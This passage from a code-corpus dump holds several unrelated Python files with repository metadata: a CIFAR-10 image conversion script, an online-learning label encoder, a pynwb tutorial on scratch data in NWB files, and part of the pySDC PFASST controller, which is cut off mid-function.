\u6240\u6709python\u652f\u6301\u7684\u539f\u751f\u7c7b\u578b\uff1a\u5e03\u5c14\u503c\uff0c\u6574\u6570\uff0c\u6d6e\u70b9\u6570\uff0c\u590d\u6570\uff0c\u5b57\u7b26\u4e32\uff0c\u5b57\u8282\uff0cNone\u3002\n# - \u7531\u4efb\u4f55\u539f\u751f\u7c7b\u578b\u7ec4\u6210\u7684\u5217\u8868\uff0c\u5143\u7ec4\uff0c\u5b57\u5178\u548c\u96c6\u5408\u3002\n# - \u51fd\u6570\uff0c\u7c7b\uff0c\u7c7b\u7684\u5b9e\u4f8b\ndef unpickle(file):\n    with open(file, 'rb') as fo:  # \u6253\u5f00\u6587\u4ef6\n        dict = pickle.load(fo, encoding='bytes')  # \u662f\u4ee5\u5b57\u5178\u7684\u65b9\u5f0f\u5e8f\u5217\u5316\u6570\u636e\n    return dict\n\n\n# DATA_URL = 'http://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz'\n# DATA_DIR = 'data'\n\n# download_and_uncompress_tarball(DATA_URL, DATA_DIR)\n\n# \u9009\u62e9cifar10\u7684\u8def\u5f84\uff0c\u7528\u76f8\u5bf9\u8def\u5f84\nfolders = 'data/cifar-10-batches-py'\n\n# \u83b7\u53d6\u76ee\u5f55\u4e0b\u6240\u6709\u5339\u914d\u5230\u7684\u8bad\u7ec3\u96c6\u6587\u4ef6\ntrfiles = glob.glob(folders + \"/data_batch*\")\n\ndata = []  # \u4e8c\u8fdb\u5236\u7684\u6570\u636e\nlabels = []  # \u6807\u7b7e\u5217\u8868\nfor file in trfiles:  # \u5bf9\u4e8e\u6bcf\u4e2a\u6587\u4ef6\n    dt = unpickle(file)  # \u5f97\u5230\u53cd\u5e8f\u5217\u5316\u540e\u7684\u6570\u636e {\"data\": [byte], \"labels\": [int8]}\n    data += list(dt[b\"data\"])  # \u8f6c\u5316\u4e3alist\n    labels += list(dt[b\"labels\"])\n\n# labels\u5f62\u5982[1, 2, 3, 4, 6, ...]\n# data \u5f62\u5982\uff1a... array([163, 173, 158, ..., 101, 100,  95], dtype=uint8) ...\nprint(labels)\nprint(len(data))\n\n# 3\u901a\u905332*32\u7684\u56fe\u50cf\u6570\u636e\n# [-1, 3, 32, 32]\u8868\u793a\u5c06data\u91cd\u65b0\u6574\u7406\u62103*32*32\u7684\u56fe\u7247\uff0c-1\u8868\u793a\u8f6c\u5316\u7684\u6570\u91cf\u6839\u636e\u5b9e\u9645\u60c5\u51b5\u786e\u5b9a\n# numpy.reshape(a, newshape)\n# a : \u6570\u7ec4\u2014\u2014\u9700\u8981\u5904\u7406\u7684\u6570\u636e\u3002\n# \u65b0\u7684\u683c\u5f0f\u2014\u2014\u6574\u6570\u6216\u6574\u6570\u6570\u7ec4\uff0c\u5982(2,3)\u8868\u793a2\u884c3\u5217\u3002\u65b0\u7684\u5f62\u72b6\u5e94\u8be5\u4e0e\u539f\u6765\u7684\u5f62\u72b6\u517c\u5bb9\uff0c\u5373\u884c\u6570\u548c\u5217\u6570\u76f8\u4e58\u540e\u7b49\u4e8ea\u4e2d\u5143\u7d20\u7684\u6570\u91cf\u3002\u5982\u679c\u662f\u6574\u6570\uff0c\u5219\u7ed3\u679c\u5c06\u662f\u957f\u5ea6\u7684\u4e00\u7ef4\u6570\u7ec4\uff0c\u6240\u4ee5\u8fd9\u4e2a\u6574\u6570\u5fc5\u987b\u7b49\u4e8ea\u4e2d\u5143\u7d20\u6570\u91cf\u3002\u82e5\u8fd9\u91cc\u662f\u4e00\u4e2a\u6574\u6570\u6570\u7ec4\uff0c\u90a3\u4e48\u5176\u4e2d\u4e00\u4e2a\u6570\u636e\u53ef\u4ee5\u4e3a-1\u3002\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u8fd9\u4e2a\u4e2a\u503cpython\u4f1a\u81ea\u52a8\u4ece\u6839\u636e\u7b2c\u4e8c\u4e2a\u6570\u503c\u548c\u5269\u4f59\u7ef4\u5ea6\u63a8\u65ad\u51fa\u6765\u3002\nimgs = np.reshape(data, [-1, 3, 32, 32])\n\n# \u904d\u5386\u6240\u6709\u56fe\u7247\n# imgs.shape[0]\u8868\u793a\u56fe\u7247\u7684\u6570\u91cf\nfor i in range(imgs.shape[0]):\n    im_data = imgs[i, ...]\n    im_data = np.transpose(im_data, [1, 2, 0])  # \u4fee\u6539\u901a\u9053\u987a\u5e8f\uff0c\u628a\u901a\u9053\u79fb\u52a8\u5230\u6700\u540e[32, 32, 3]\n    im_data = cv2.cvtColor(im_data, cv2.COLOR_RGB2BGR)  # \u4fee\u6539\u56fe\u50cf\u901a\u9053\u4e3aBGR\n\n    # \u628a\u56fe\u50cf\u6570\u636e\u5199\u6210\u6587\u4ef6: data/image/test/airplane\n    f = \"{}/{}\".format(\"data/image/train\", classification[labels[i]])\n\n    # \u786e\u4fdd\u6587\u4ef6\u5939\u5b58\u5728\n    if not os.path.exists(f):\n        os.mkdir(f)\n\n    # \u6587\u4ef6\u540d\u5f62\u5982\uff1adata/image/train/airplane/1.jpg\n    cv2.imwrite(\"{}/{}.jpg\".format(f, str(i)), im_data)\n", "meta": {"hexsha": "79ba78052879784f97a19f70ab46b122f7f79302", "size": 4157, "ext": "py", "lang": "Python", "max_stars_repo_path": "convert_cifar10_image.py", "max_stars_repo_name": "cwyd0822/cifar10-tensorflow-read-write", "max_stars_repo_head_hexsha": "cb2291bae459f877274c746cacd8272eac875a12", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2019-12-23T03:10:05.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-23T14:39:37.000Z", "max_issues_repo_path": "convert_cifar10_image.py", "max_issues_repo_name": "cwyd0822/cifar10-tensorflow-read-write", "max_issues_repo_head_hexsha": "cb2291bae459f877274c746cacd8272eac875a12", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "convert_cifar10_image.py", "max_forks_repo_name": "cwyd0822/cifar10-tensorflow-read-write", "max_forks_repo_head_hexsha": "cb2291bae459f877274c746cacd8272eac875a12", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2019-12-30T10:07:25.000Z", "max_forks_repo_forks_event_max_datetime": "2020-08-01T08:56:40.000Z", "avg_line_length": 30.1231884058, "max_line_length": 162, "alphanum_fraction": 0.6588886216, "include": true, "reason": "import numpy", "num_tokens": 1683, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.10818895312434516, "lm_q1q2_score": 0.05367187206190619}}
{"text": "import numpy as np\n\nfrom olpy.exceptions import NotFittedError\n\n\nclass LabelEncoder:\n    \"\"\"Encodes an output vector to match the specifications.\n\n    Given that online learning algorithms usually work on output \n    vectors with entries (-1, 1), this function performs this action\n    for the user.\n\n    Attributes:\n        y (:obj:`array` of `ndarray`): the data to be transformed.\n        positive_label (:obj:`int`, optional): The number in the output\n            field that represents the positive label. The value passed\n            should be different than -1. Defaults to 1.\n        labels (:obj:`tuple`): represents the labels that are present\n            in the dataset. This can be used at prediction time.\n    \"\"\"\n    def __init__(self, positive_label=1):\n        self.y = None\n        self.positive_label = positive_label\n        self.labels = None\n\n    def fit(self, y):\n        \"\"\"Fits the output vector y.\n\n        This method parses the parsed value and sets the necessary \n        values to transform it later.\n\n        Args:\n            y (:obj:`list` or `numpy.ndarray`): the data to be transformed.\n\n        Returns:\n            self: the current instance.\n\n        Raises:\n            ValueError: if the number of labels is different than 2.\n            AssertionError: if the positive label is not found in the\n                labels.\n        \"\"\"\n        self.y = y\n        labels = np.unique(self.y)\n\n        # First check that we have two values\n        if len(labels) != 2:\n            raise ValueError(\n                'Expected two labels. Got {} instead'.format(len(labels))\n                )\n\n        # Let's check now that the specified positive label is in the array\n        assert self.positive_label in labels,\\\n             'The positive label ({}) has not been found in the labels'\n             \n        self.labels = (\n            set(labels).difference(\n                {self.positive_label}\n                ).pop(), self.positive_label)\n\n        return self\n\n    def transform(self, return_labels=True):\n        \"\"\"Transforms the data.\n\n        Based on the information collected while fitting, this fuction\n        returns the transformed labels that can be used directly for\n        training.\n\n        Args:\n            return_labels (bool, optional): whether the labels should\n                be returned or not. Default `True`.\n\n        Returns:\n            `numpy.ndarray` if return_labels is True else None\n\n        Raises:\n            NotFittedError if the encoder was not already fitted.\n        \"\"\"\n        # All is okay. Now we can change\n        if self.y is None:\n            raise NotFittedError(\n                    None, \n                    None, \n                    'Attempted to transform an unfitted encorder.'\n                )\n        if return_labels:\n            return (\n                np.array(\n                    [1 if self.y[i] == self.positive_label \n                    else -1 for i in range(self.y.shape[0])]), \n                self.labels\n            )\n        else:\n            return np.array(\n                [1 if self.y[i] == self.positive_label \n                else -1 for i in range(self.y.shape[0])])\n\n    def fit_transform(self, y, return_labels=True):\n        \"\"\"Fits and transforms the data.\n\n        Combines the actions of `fit` and `transform` methods.\n\n        Args:\n            return_labels (:obj:`bool`, optional): whether the labels should\n                be returned or not. Default `True`.\n            y (:obj:`array` of `ndarray`): the data to be transformed.\n\n        Returns:\n            `numpy.ndarray` if return_labels is True else None\n\n        Raises:\n            ValueError: if the number of labels is different than 2.\n            AssertionError: if the positive label is not found in the\n                    labels.\n            NotFittedError if the encoder was not already fitted.\n\n        \"\"\"\n        self.fit(y)\n        return self.transform(return_labels=return_labels)\n", "meta": {"hexsha": "b1d748502ac80e6ec7b923412c17799fa9a394f2", "size": 3980, "ext": "py", "lang": "Python", "max_stars_repo_path": "olpy/preprocessing/labels.py", "max_stars_repo_name": "boladjivinny/olpy", "max_stars_repo_head_hexsha": "40e0962fe64b4d1ca8d90b0c8a73502c0bbfda7f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2021-04-03T20:59:47.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-15T13:09:22.000Z", "max_issues_repo_path": "olpy/preprocessing/labels.py", "max_issues_repo_name": "boladjivinny/olpy", "max_issues_repo_head_hexsha": "40e0962fe64b4d1ca8d90b0c8a73502c0bbfda7f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2021-02-23T08:48:06.000Z", "max_issues_repo_issues_event_max_datetime": "2021-04-04T05:10:51.000Z", "max_forks_repo_path": "olpy/preprocessing/labels.py", "max_forks_repo_name": "boladjivinny/olpy", "max_forks_repo_head_hexsha": "40e0962fe64b4d1ca8d90b0c8a73502c0bbfda7f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2020-11-09T17:37:13.000Z", "max_forks_repo_forks_event_max_datetime": "2021-04-17T16:46:43.000Z", "avg_line_length": 32.8925619835, "max_line_length": 76, "alphanum_fraction": 0.5701005025, "include": true, "reason": "import numpy", "num_tokens": 814, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.10818894737344459, "lm_q1q2_score": 0.053671869208919906}}
{"text": "\"\"\"\n.. _scratch:\n\nExploratory data analysis with NWB\n==================================\n\nThis example will focus on the basics of working with an :py:class:`~pynwb.file.NWBFile` to do more than\nstoring standardized data for use and exchange. For example, you may want to store results from intermediate\nanalyses or one-off analyses with unknown utility. This functionality is primarily accomplished with linking\nand scratch space.\n\n\n.. note::\n    The scratch space is explicitly for non-standardized data that is not intended for reuse\n    by others. Standard NWB:N types, and extension if required, should always be used for any data that you\n    intend to share. As such, published data should not include scratch data and a user should be able\n    to ignore any data stored in scratch to use a file.\n\n\n\n\"\"\"\n\n####################\n# Raw data\n# --------\n#\n# To demonstrate linking and scratch space, lets assume we are starting with some acquired data.\n#\n\n# sphinx_gallery_thumbnail_path = 'figures/gallery_thumbnails_scratch.png'\nfrom pynwb import NWBFile, TimeSeries, NWBHDF5IO\nfrom datetime import datetime\nfrom dateutil.tz import tzlocal\nimport numpy as np\n\n# set up the NWBFile\nstart_time = datetime(2019, 4, 3, 11, tzinfo=tzlocal())\ncreate_date = datetime(2019, 4, 15, 12, tzinfo=tzlocal())\n\nnwb = NWBFile(session_description='demonstrate NWBFile scratch',  # required\n              identifier='NWB456',  # required\n              session_start_time=start_time,  # required\n              file_create_date=create_date)  # optional\n\n# make some fake data\ntimestamps = np.linspace(0, 100, 1024)\ndata = np.sin(0.333 * timestamps) + np.cos(0.1 * timestamps) + np.random.randn(len(timestamps))\ntest_ts = TimeSeries(name='raw_timeseries', data=data, unit='m', timestamps=timestamps)\n\n# add it to the NWBFile\nnwb.add_acquisition(test_ts)\n\nwith NWBHDF5IO('raw_data.nwb', mode='w') as io:\n    io.write(nwb)\n\n####################\n# .. _basic_copying:\n#\n# Copying an NWB file\n# -------------------\n#\n# To copy a file, we must first read the file.\n#\nraw_io = NWBHDF5IO('raw_data.nwb', 'r')\nnwb_in = raw_io.read()\n\n####################\n# And then create a shallow copy the file with the :py:func:`~pynwb.file.NWBFile.copy` method\n# of :py:class:`~pynwb.file.NWBFile` .\n\nnwb_proc = nwb_in.copy()\n\n####################\n#\n# Now that we have a copy, lets process some data, and add the results as a :py:class:`~pynwb.base.ProcessingModule`\n# to our copy of the file. [#]_\n\nimport scipy.signal as sps\n\nmod = nwb_proc.create_processing_module('filtering_module', \"a module to store filtering results\")\n\nts1 = nwb_in.acquisition['raw_timeseries']\nfilt_data = sps.correlate(ts1.data, np.ones(128), mode='same') / 128\nts2 = TimeSeries(name='filtered_timeseries', data=filt_data, unit='m', timestamps=ts1)\n\nmod.add_container(ts2)\n\n\n####################\n#\n# Now write the copy, which contains the processed data. [#]_\n\nwith NWBHDF5IO('processed_data.nwb', mode='w', manager=raw_io.manager) as io:\n    io.write(nwb_proc)\n\n\n####################\n#\n# .. [#]\n#    .. note::\n#       Notice here that we are reusing the timestamps to the original TimeSeries.\n#\n# .. [#]\n#    .. note::\n#       The ``processed_data.nwb`` file (i.e., our copy) stores our processing module and contains external\n#       links to all data in our original file, i.e., the data from our raw file is being linked to, not copied.\n#       This allows us to isolate our processing data in a separate file while still allowing us to access the\n#       raw data from our ``processed_data.nwb`` file, without having to duplicate the data.\n#\n\n\n####################\n# .. _basic_scratch:\n#\n# Adding scratch data\n# -------------------\n#\n# You may end up wanting to store results from some one-off analysis, and writing an extension\n# to get your data into an NWBFile is too much over head. This is facilitated by the scratch space\n# in NWB:N. [#]_\n#\n# First, lets read our processed data and then make a copy\n\nproc_io = NWBHDF5IO('processed_data.nwb', 'r')\nnwb_proc_in = proc_io.read()\n\n####################\n#\n# Now make a copy to put our scratch data into [#]_\n\nnwb_scratch = nwb_proc_in.copy()\n\n####################\n#\n# Now lets do an analysis for which we do not have a specification, but we would like to store\n# the results for.\n\nfilt_ts = nwb_scratch.modules['filtering_module']['filtered_timeseries']\n\nfft = np.fft.fft(filt_ts.data)\n\nnwb_scratch.add_scratch(fft, name='dft_filtered', description='discrete Fourier transform from filtered data')\n\n\n####################\n#\n# Finally, write the results.\n\nwith NWBHDF5IO('scratch_analysis.nwb', 'w', manager=proc_io.manager) as io:\n    io.write(nwb_scratch)\n\n####################\n#\n# To get your results back, you can index into :py:attr:`~pynwb.file.NWBFile.scratch` or use\n# :py:func:`~pynwb.file.NWBFile.get_scratch`:\n\nscratch_io = NWBHDF5IO('scratch_analysis.nwb', 'r')\nnwb_scratch_in = scratch_io.read()\n\nfft_in = nwb_scratch_in.scratch['dft_filtered']\n\nfft_in = nwb_scratch_in.get_scratch('dft_filtered')\n\n####################\n#\n# .. [#]\n#    .. note::\n#       This scratch space only exists if you add scratch data.\n#\n# .. [#]\n#    .. note::\n#       We recommend writing scratch data into copies of files only. This will make it easier to\n#       isolate and discard scratch data and avoids updating files that store precious data.\n", "meta": {"hexsha": "306dbc65f41a940c3a81370f332ae5e77f756064", "size": 5331, "ext": "py", "lang": "Python", "max_stars_repo_path": "docs/gallery/general/scratch.py", "max_stars_repo_name": "Asif54321/pynwb", "max_stars_repo_head_hexsha": "e484bfd0208a9777bc6c45e44a4cfa3a900cffe3", "max_stars_repo_licenses": ["BSD-3-Clause-LBNL"], "max_stars_count": 132, "max_stars_repo_stars_event_min_datetime": "2017-08-05T00:35:18.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-22T08:14:18.000Z", "max_issues_repo_path": "docs/gallery/general/scratch.py", "max_issues_repo_name": "Asif54321/pynwb", "max_issues_repo_head_hexsha": "e484bfd0208a9777bc6c45e44a4cfa3a900cffe3", "max_issues_repo_licenses": ["BSD-3-Clause-LBNL"], "max_issues_count": 1273, "max_issues_repo_issues_event_min_datetime": "2017-08-04T05:14:47.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-28T13:00:27.000Z", "max_forks_repo_path": "docs/gallery/general/scratch.py", "max_forks_repo_name": "Asif54321/pynwb", "max_forks_repo_head_hexsha": "e484bfd0208a9777bc6c45e44a4cfa3a900cffe3", "max_forks_repo_licenses": ["BSD-3-Clause-LBNL"], "max_forks_count": 68, "max_forks_repo_forks_event_min_datetime": "2017-08-04T16:45:19.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-22T08:14:15.000Z", "avg_line_length": 30.6379310345, "max_line_length": 116, "alphanum_fraction": 0.6790470831, "include": true, "reason": "import numpy,import scipy", "num_tokens": 1360, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43782348444346736, "lm_q2_score": 0.12252321412020205, "lm_q1q2_score": 0.0536435405313199}}
{"text": "import itertools\nimport copy as cp\nimport numpy as np\nimport dill\n\nfrom pySDC.core.Controller import controller\nfrom pySDC.core import Step as stepclass\nfrom pySDC.core.Errors import ControllerError, CommunicationError\n\n\nclass controller_nonMPI(controller):\n    \"\"\"\n\n    PFASST controller, running serialized version of PFASST in blocks (MG-style)\n\n    \"\"\"\n\n    def __init__(self, num_procs, controller_params, description):\n        \"\"\"\n        Initialization routine for PFASST controller\n\n        Args:\n           num_procs: number of parallel time steps (still serial, though), can be 1\n           controller_params: parameter set for the controller and the steps\n           description: all the parameters to set up the rest (levels, problems, transfer, ...)\n        \"\"\"\n\n        if 'predict' in controller_params:\n            raise ControllerError('predict flag is ignored, use predict_type instead')\n\n        # call parent's initialization routine\n        super(controller_nonMPI, self).__init__(controller_params)\n\n        self.MS = [stepclass.step(description)]\n\n        # try to initialize via dill.copy (much faster for many time-steps)\n        try:\n            for _ in range(num_procs - 1):\n                self.MS.append(dill.copy(self.MS[0]))\n        # if this fails (e.g. due to un-picklable data in the steps), initialize seperately\n        except dill.PicklingError and TypeError:\n            self.logger.warning('Need to initialize steps separately due to pickling error')\n            for _ in range(num_procs - 1):\n                self.MS.append(stepclass.step(description))\n\n        if self.params.dump_setup:\n            self.dump_setup(step=self.MS[0], controller_params=controller_params, description=description)\n\n        if num_procs > 1 and len(self.MS[0].levels) > 1:\n            for S in self.MS:\n                for L in S.levels:\n                    if not L.sweep.coll.right_is_node:\n                        raise ControllerError(\"For PFASST to work, we assume uend^k = u_M^k\")\n\n        if all(len(S.levels) == len(self.MS[0].levels) for S in self.MS):\n            self.nlevels = len(self.MS[0].levels)\n        else:\n            raise ControllerError('all steps need to have the same number of levels')\n\n        if self.nlevels == 0:\n            raise ControllerError('need at least one level')\n\n        self.nsweeps = []\n        for nl in range(self.nlevels):\n\n            if all(S.levels[nl].params.nsweeps == self.MS[0].levels[nl].params.nsweeps for S in self.MS):\n                self.nsweeps.append(self.MS[0].levels[nl].params.nsweeps)\n\n        if self.nlevels > 1 and self.nsweeps[-1] > 1:\n            raise ControllerError('this controller cannot do multiple sweeps on coarsest level')\n\n        if self.nlevels == 1 and self.params.predict_type is not None:\n            self.logger.warning('you have specified a predictor type but only a single level.. '\n                                'predictor will be ignored')\n\n    def check_iteration_estimator(self, MS):\n        \"\"\"\n        Method to check the iteration estimator\n\n        Args:\n            MS (list): list of currently active steps\n        \"\"\"\n        diff_new = 0.0\n        Kest_loc = 99\n\n        # go through active steps and compute difference, Ltilde, Kest up to this step\n        for S in MS:\n            L = S.levels[0]\n\n            for m in range(1, L.sweep.coll.num_nodes + 1):\n                diff_new = max(diff_new, abs(L.uold[m] - L.u[m]))\n\n            if S.status.iter == 1:\n                S.status.diff_old_loc = diff_new\n                S.status.diff_first_loc = diff_new\n            elif S.status.iter > 1:\n                Ltilde_loc = min(diff_new / S.status.diff_old_loc, 0.9)\n                S.status.diff_old_loc = diff_new\n                alpha = 1 / (1 - Ltilde_loc) * S.status.diff_first_loc\n                Kest_loc = np.log(S.params.errtol / alpha) / np.log(Ltilde_loc) * 1.05  # Safety factor!\n                self.logger.debug(f'LOCAL: {L.time:8.4f}, {S.status.iter}: {int(np.ceil(Kest_loc))}, '\n                                  f'{Ltilde_loc:8.6e}, {Kest_loc:8.6e}, {Ltilde_loc ** S.status.iter * alpha:8.6e}')\n                # You should not stop prematurely on earlier steps, since later steps may need more accuracy to reach\n                # the tolerance themselves. The final Kest_loc is the one that counts.\n                # if np.ceil(Kest_loc) <= S.status.iter:\n                #     S.status.force_done = True\n\n        # set global Kest as last local one, force stop if done\n        for S in MS:\n            if S.status.iter > 1:\n                Kest_glob = Kest_loc\n                if np.ceil(Kest_glob) <= S.status.iter:\n                    S.status.force_done = True\n\n    def run(self, u0, t0, Tend):\n        \"\"\"\n        Main driver for running the serial version of SDC, MSSDC, MLSDC and PFASST (virtual parallelism)\n\n        Args:\n           u0: initial values\n           t0: starting time\n           Tend: ending time\n\n        Returns:\n            end values on the finest level\n            stats object containing statistics for each step, each level and each iteration\n        \"\"\"\n\n        # some initializations and reset of statistics\n        uend = None\n        num_procs = len(self.MS)\n        self.hooks.reset_stats()\n\n        # initial ordering of the steps: 0,1,...,Np-1\n        slots = list(range(num_procs))\n\n        # initialize time variables of each step\n        time = [t0 + sum(self.MS[j].dt for j in range(p)) for p in slots]\n\n        # determine which steps are still active (time < Tend)\n        active = [time[p] < Tend - 10 * np.finfo(float).eps for p in slots]\n\n        if not any(active):\n            raise ControllerError('Nothing to do, check t0, dt and Tend.')\n\n        # compress slots according to active steps, i.e. remove all steps which have times above Tend\n        active_slots = list(itertools.compress(slots, active))\n\n        # initialize block of steps with u0\n        self.restart_block(active_slots, time, u0)\n\n        self.hooks.post_setup(step=None, level_number=None)\n\n        # call pre-run hook\n        for S in self.MS:\n            self.hooks.pre_run(step=S, level_number=0)\n\n        # main loop: as long as at least one step is still active (time < Tend), do something\n        while any(active):\n\n            MS_active = [self.MS[p] for p in active_slots]\n            done = False\n            while not done:\n                done = self.pfasst(MS_active)\n\n            # uend is uend of the last active step in the list\n            uend = self.MS[active_slots[-1]].levels[0].uend\n\n            for p in active_slots:\n                time[p] += num_procs * self.MS[p].dt\n\n            # determine new set of active steps and compress slots accordingly\n            active = [time[p] < Tend - 10 * np.finfo(float).eps for p in slots]\n            active_slots = list(itertools.compress(slots, active))\n\n            # restart active steps (reset all values and pass uend to u0)\n            self.restart_block(active_slots, time, uend)\n\n        # call post-run hook\n        for S in self.MS:\n            self.hooks.post_run(step=S, level_number=0)\n\n        return uend, self.hooks.return_stats()\n\n    def restart_block(self, active_slots, time, u0):\n        \"\"\"\n        Helper routine to reset/restart block of (active) steps\n\n        Args:\n            active_slots: list of active steps\n            time: list of new times\n            u0: initial value to distribute across the steps\n\n        \"\"\"\n\n        # loop over active slots (not directly, since we need the previous entry as well)\n        for j in range(len(active_slots)):\n\n            # get slot number\n            p = active_slots[j]\n\n            # store current slot number for diagnostics\n            self.MS[p].status.slot = p\n            # store link to previous step\n            self.MS[p].prev = self.MS[active_slots[j - 1]]\n            # resets step\n            self.MS[p].reset_step()\n            # determine whether I am the first and/or last in line\n            self.MS[p].status.first = active_slots.index(p) == 0\n            self.MS[p].status.last = active_slots.index(p) == len(active_slots) - 1\n            # initialize step with u0\n            self.MS[p].init_step(u0)\n            # reset some values\n            self.MS[p].status.done = False\n            self.MS[p].status.prev_done = False\n            self.MS[p].status.iter = 0\n            self.MS[p].status.stage = 'SPREAD'\n            self.MS[p].status.force_done = False\n            self.MS[p].status.time_size = len(active_slots)\n\n            for l in self.MS[p].levels:\n                l.tag = None\n                l.status.sweep = 1\n\n        for p in active_slots:\n            for lvl in self.MS[p].levels:\n                lvl.status.time = time[p]\n\n    @staticmethod\n    def recv(target, source, tag=None):\n        \"\"\"\n        Receive function\n\n        Args:\n            target: level which will receive the values\n            source: level which initiated the send\n            tag: identifier to check if this message is really for me\n        \"\"\"\n\n        if tag is not None and source.tag != tag:\n            raise CommunicationError('source and target tag are not the same, got %s and %s' % (source.tag, tag))\n        # simply do a deepcopy of the values uend to become the new u0 at the target\n        target.u[0] = target.prob.dtype_u(source.uend)\n        # re-evaluate f on left interval boundary\n        target.f[0] = target.prob.eval_f(target.u[0], target.time)\n\n    @staticmethod\n    def send(source, tag):\n        \"\"\"\n        Send function\n\n        Args:\n            source: level which has the new values\n            tag: identifier for this message\n        \"\"\"\n        # sending here means computing uend (\"one-sided communication\")\n        source.sweep.compute_end_point()\n        source.tag = cp.deepcopy(tag)\n\n    def pfasst(self, local_MS_active):\n        \"\"\"\n        Main function including the stages of SDC, MLSDC and PFASST (the \"controller\")\n\n        For the workflow of this controller, check out one of our PFASST talks or the pySDC paper\n\n        This method changes self.MS directly by accessing active steps through local_MS_active. Nothing is returned.\n\n        Args:\n            local_MS_active (list): all active steps\n        \"\"\"\n\n        def spread(local_MS_running):\n            \"\"\"\n            Spreading phase\n\n            Args:\n                local_MS_running (list): list of currently running steps\n            \"\"\"\n\n            for S in local_MS_running:\n\n                # first stage: spread values\n                self.hooks.pre_step(step=S, level_number=0)\n\n                # call predictor from sweeper\n                S.levels[0].sweep.predict()\n\n                if self.params.use_iteration_estimator:\n                    # store pervious iterate to compute difference later on\n                    S.levels[0].uold[:] = S.levels[0].u[:]\n\n                # update stage\n                if len(S.levels) > 1:  # MLSDC or PFASST with predict\n                    S.status.stage = 'PREDICT'\n                else:\n                    S.status.stage = 'IT_CHECK'\n\n        def predict(local_MS_running):\n            \"\"\"\n            Predictor phase\n\n            Args:\n                local_MS_running (list): list of currently running steps\n            \"\"\"\n\n            for S in local_MS_running:\n                self.hooks.pre_predict(step=S, level_number=0)\n\n            if self.params.predict_type is None:\n                pass\n\n            elif self.params.predict_type == 'fine_only':\n\n                # do a fine sweep only\n                for S in local_MS_running:\n                    S.levels[0].sweep.update_nodes()\n\n            elif self.params.predict_type == 'libpfasst_style':\n\n                # loop over all steps\n                for S in local_MS_running:\n\n                    # restrict to coarsest level\n                    for l in range(1, len(S.levels)):\n                        S.transfer(source=S.levels[l - 1], target=S.levels[l])\n\n                # run in serial on coarse level\n                for S in local_MS_running:\n\n                    self.hooks.pre_comm(step=S, level_number=len(S.levels) - 1)\n                    # receive from previous step (if not first)\n                    if not S.status.first:\n                        self.logger.debug('Process %2i receives from %2i on level %2i with tag %s -- PREDICT' %\n                                          (S.status.slot, S.prev.status.slot, len(S.levels) - 1, 0))\n                        self.recv(S.levels[-1], S.prev.levels[-1], tag=(len(S.levels), 0, S.prev.status.slot))\n                    self.hooks.post_comm(step=S, level_number=len(S.levels) - 1)\n\n                    # do the coarse sweep\n                    S.levels[-1].sweep.update_nodes()\n\n                    self.hooks.pre_comm(step=S, level_number=len(S.levels) - 1)\n                    # send to succ step\n                    if not S.status.last:\n                        self.logger.debug('Process %2i provides data on level %2i with tag %s -- PREDICT'\n                                          % (S.status.slot, len(S.levels) - 1, 0))\n                        self.send(S.levels[-1], tag=(len(S.levels), 0, S.status.slot))\n                    self.hooks.post_comm(step=S, level_number=len(S.levels) - 1, add_to_stats=True)\n\n                # go back to fine level, sweeping\n                for l in range(self.nlevels - 1, 0, -1):\n\n                    for S in local_MS_running:\n                        # prolong values\n                        S.transfer(source=S.levels[l], target=S.levels[l - 1])\n\n                        if l - 1 > 0:\n                            S.levels[l - 1].sweep.update_nodes()\n\n                # end with a fine sweep\n                for S in local_MS_running:\n                    S.levels[0].sweep.update_nodes()\n\n            elif self.params.predict_type == 'pfasst_burnin':\n\n                # loop over all steps\n                for S in local_MS_running:\n\n                    # restrict to coarsest level\n                    for l in range(1, len(S.levels)):\n                        S.transfer(source=S.levels[l - 1], target=S.levels[l])\n\n                # loop over all steps\n                for q in range(len(local_MS_running)):\n\n                    # loop over last steps: [1,2,3,4], [2,3,4], [3,4], [4]\n                    for p in range(q, len(local_MS_running)):\n                        S = local_MS_running[p]\n\n                        # do the sweep with new values\n                        S.levels[-1].sweep.update_nodes()\n\n                        self.hooks.pre_comm(step=S, level_number=len(S.levels) - 1)\n                        # send updated values on coarsest level\n                        self.logger.debug('Process %2i provides data on level %2i with tag %s -- PREDICT'\n                                          % (S.status.slot, len(S.levels) - 1, 0))\n                        self.send(S.levels[-1], tag=(len(S.levels), 0, S.status.slot))\n                        self.hooks.post_comm(step=S, level_number=len(S.levels) - 1)\n\n                    # loop over last steps: [2,3,4], [3,4], [4]\n                    for p in range(q + 1, len(local_MS_running)):\n                        S = local_MS_running[p]\n                        # receive values sent during previous sweep\n                        self.hooks.pre_comm(step=S, level_number=len(S.levels) - 1)\n                        self.logger.debug('Process %2i receives from %2i on level %2i with tag %s -- PREDICT' %\n                                          (S.status.slot, S.prev.status.slot, len(S.levels) - 1, 0))\n                        self.recv(S.levels[-1], S.prev.levels[-1], tag=(len(S.levels), 0, S.prev.status.slot))\n                        self.hooks.post_comm(step=S, level_number=len(S.levels) - 1,\n                                             add_to_stats=(p == len(local_MS_running) - 1))\n\n                # loop over all steps\n                for S in local_MS_running:\n\n                    # interpolate back to finest level\n                    for l in range(len(S.levels) - 1, 0, 